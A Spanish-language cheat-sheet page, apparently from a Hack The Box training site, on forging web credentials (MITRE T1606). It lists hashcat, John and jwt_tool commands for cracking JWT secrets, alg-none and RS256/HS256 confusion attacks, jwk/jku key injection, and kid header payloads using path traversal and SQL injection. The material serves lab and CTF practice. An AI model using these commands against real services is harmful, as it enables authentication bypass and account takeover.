T1606

Forjar credenciales web

Crear cookies de sesión o tokens (JWT, Flask) válidos firmándolos con un secreto robado o débil.

Cómo aparece en Hack The Box

Si encuentras la SECRET_KEY de Flask o el secreto de un JWT (en el código, un .env o crackeándolo), fírmate un token de administrador. Prueba también alg none y la confusión RS256/HS256.

Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):

Máquinas para practicarla

Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.

Guías

Comandos

Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.

Tus datos Se guardan en este navegador y se aplican a todas las chuletas.

Analizador de JWT › Ataques

Guardar el token
echo -n 'eyJhbGciOi...' > jwt.txt
hashcat
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
John the Ripper
john --format=HMAC-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt jwt.txt
Ver el contenido
python3 jwt_tool.py <JWT>
Probar todos los ataques contra la web
python3 jwt_tool.py -t http://10.10.11.20/api/me -rh "Authorization: Bearer <JWT>" -M at
alg none
python3 jwt_tool.py <JWT> -X a
Confusión de algoritmo RS256 → HS256
python3 jwt_tool.py <JWT> -X k -pk public.pem

La clave pública suele estar en /jwks.json, /.well-known/jwks.json o en el certificado TLS.

Inyectar una clave propia (jwk / jku)
python3 jwt_tool.py <JWT> -X i
Cambiar un campo y firmar con el secreto
python3 jwt_tool.py <JWT> -T -S hs256 -p 'secreto'
Path traversal a un fichero vacío
{"alg":"HS256","typ":"JWT","kid":"../../../../../../dev/null"}

Firma después con un secreto vacío.

Inyección SQL en kid
{"alg":"HS256","typ":"JWT","kid":"x' UNION SELECT 'pwned'-- -"}

Si el servidor busca la clave en una base de datos, firma con el secreto "pwned".

jwt_tool › Crackear el secreto

Diccionario contra un HS256
python3 jwt_tool.py <JWT> -C -d /usr/share/wordlists/rockyou.txt

Herramientas

Chuletas relacionadas